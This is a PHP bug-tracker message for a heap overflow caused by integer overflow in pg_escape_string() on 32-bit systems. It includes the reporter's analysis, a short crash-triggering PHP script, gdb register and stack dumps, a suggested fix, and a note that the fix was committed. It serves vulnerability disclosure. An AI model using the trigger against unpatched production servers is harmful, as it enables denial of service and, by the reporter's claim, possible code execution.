Sec Bug->Bug #73399 [Csd]: Heap overflow due to integer overflow in pg_escape_string() function
| From: | stas@php.net | Date: | Mon, 13 Feb 2017 00:59:59 +0000 |
| Subject: | Sec Bug->Bug #73399 [Csd]: Heap overflow due to integer overflow in pg_escape_string() function | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-207310@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=73399&edit=1
ID: 73399
Updated by: stas@php.net
Reported by: bughunter at fosec dot vn
Summary: Heap overflow due to integer overflow in
pg_escape_string() function
Status: Closed
-Type: Security
+Type: Bug
Package: PostgreSQL related
Operating System: Linux
PHP Version: 7.1Git-2016-10-27 (Git)
Assigned To: stas
Block user comment: N
Private report: N
Previous Comments:
------------------------------------------------------------------------
[2016-11-05 21:48:31] stas@php.net
The fix for this bug has been committed.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
For Windows:
http://windows.php.net/snapshots/
Thank you for the report, and for helping us make PHP better.
------------------------------------------------------------------------
[2016-10-27 04:12:13] bughunter at fosec dot vn
Description:
------------
I have found some vulnerable code at pg_escape_string() function in module PostgreSQL.
pg_escape_string() function creates a new zend_string object to store escaped string. The size of
destination string depends on the size of source string. ( refer at ext/pgsql/pgsql.c:4384 )
PHP_FUNCTION(pg_escape_string)
{
...
zend_string *from = NULL, *to = NULL;
....
to = zend_string_alloc(ZSTR_LEN(from) * 2, 0);
...
}
If length of
from string is equal to PHP_INT_MAX, new string to will have
an unexpected length. Due to missing check of size before calling
zend_string_alloc(), this new memory range can not use to store large data and lead to heap
overflow. I can overwrite other objects of PHP in memory. I can leak memory to bypass ASLR + DEP and
control eip register to the arbitrary value. Finally, the overflow results as arbitrary code
execution. This bug is only triggered in 32bit machine.
Solution:
It should be zend_string_alloc_safe instead of zend_string_alloc.
Test script:
---------------
<?php
ini_set('memory_limit', -1);
$s = str_repeat("a",0x7FFFFFFF);
$escaped = pg_escape_string($s);
?>
Actual result:
--------------
Open php program in gdb and run test script, set a breakpoint at line in file
ext/pgsql/pgsql.c:4384.
When debugger stops, we have the length of from string is 0x7fffffff. The size which is
used as parameter in _emalloc() function is equal to ((0x7fffffff * 2 + 0x14 ) & 0xfffffffc).
Due to integer overflow, new size is 0x10. The new memory region is too small to store a large
string!
[----------------------------------registers-----------------------------------]
EAX: 0x36e00000 --> 0x2
EBX: 0x8903068 --> 0x1
ECX: 0x10
EDX: 0xbfffc0d8 --> 0x36e00000 --> 0x2
ESI: 0xb72130a0 --> 0x0
EDI: 0xfffffffe
EBP: 0x0
ESP: 0xbfffc0b0 --> 0x1
EIP: 0x81dfa4d (<zif_pg_escape_string+93>: call 0x8312c90 <_emalloc>)
EFLAGS: 0x200202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x81dfa45 <zif_pg_escape_string+85>: add edi,edi
0x81dfa47 <zif_pg_escape_string+87>: lea ecx,[edi+0x14]
0x81dfa4a <zif_pg_escape_string+90>: and ecx,0xfffffffc
=> 0x81dfa4d <zif_pg_escape_string+93>: call 0x8312c90 <_emalloc>
0x81dfa52 <zif_pg_escape_string+98>: test ebp,ebp
0x81dfa54 <zif_pg_escape_string+100>: mov ebx,eax
0x81dfa56 <zif_pg_escape_string+102>: mov DWORD PTR [eax],0x1
0x81dfa5c <zif_pg_escape_string+108>: mov DWORD PTR [eax+0x4],0x6
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbfffc0b0 --> 0x1
0004| 0xbfffc0b4 --> 0x84a3ac9 --> 0x69760053 ('a' <repeats 200 times>...)
0008| 0xbfffc0b8 --> 0xbfffc0d8 --> 0x36e00000 --> 0x2
0012| 0xbfffc0bc --> 0xbfffc0dc --> 0x7fffffff ('a' <repeats 200 times>...)
0016| 0xbfffc0c0 --> 0x89b2db0 --> 0xb7d68450 --> 0x89b3030 --> 0x0
0020| 0xbfffc0c4 --> 0x7fffffff ('a' <repeats 200 times>...)
0024| 0xbfffc0c8 --> 0x36e00000 --> 0x2
0028| 0xbfffc0cc --> 0xb725f3a8 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x081dfa4d 122 zend_string *ret = (zend_string
*)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);
gdb-peda$
if we continue running, other memory region will be overwritten until SIGSEGV!
[----------------------------------registers-----------------------------------]
EAX: 0x61 ('a')
EBX: 0xb7f8b000 --> 0x2ae9c
ECX: 0x0
EDX: 0xb7400000
ESI: 0x36f96fb1 ('a' <repeats 200 times>...)
EDI: 0x7fe6905f ('a' <repeats 200 times>...)
EBP: 0xb7400001
ESP: 0xbfffc040 --> 0xbfffc090 --> 0x0
EIP: 0xb7f6d287 (<PQescapeStringInternal+119>: mov BYTE PTR [edx],al)
EFLAGS: 0x210206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7f6d27e <PQescapeStringInternal+110>: mov BYTE PTR [ebp+0x0],al
0xb7f6d281 <PQescapeStringInternal+113>: lea ebp,[edx+0x1]
0xb7f6d284 <PQescapeStringInternal+116>: add esi,0x1
=> 0xb7f6d287 <PQescapeStringInternal+119>: mov BYTE PTR [edx],al
0xb7f6d289 <PQescapeStringInternal+121>: sub edi,0x1
0xb7f6d28c <PQescapeStringInternal+124>: test edi,edi
0xb7f6d28e <PQescapeStringInternal+126>: je 0xb7f6d297
<PQescapeStringInternal+135>
0xb7f6d290 <PQescapeStringInternal+128>: movzx eax,BYTE PTR [esi]
[------------------------------------stack-------------------------------------]
0000| 0xbfffc040 --> 0xbfffc090 --> 0x0
0004| 0xbfffc044 --> 0xb7fed6cd (<_dl_fixup+205>: sub esp,0x14)
0008| 0xbfffc048 --> 0xb7fffab0 --> 0xb7fffa54 --> 0xb754496c --> 0xb7fff8f8 --> 0x0
0012| 0xbfffc04c --> 0x0
0016| 0xbfffc050 --> 0x1
0020| 0xbfffc054 --> 0x0
0024| 0xbfffc058 --> 0xb7269060 ('a' <repeats 200 times>...)
0028| 0xbfffc05c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xb7f6d287 in PQescapeStringInternal () from /lib/libpq.so.5
gdb-peda$
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=73399&edit=1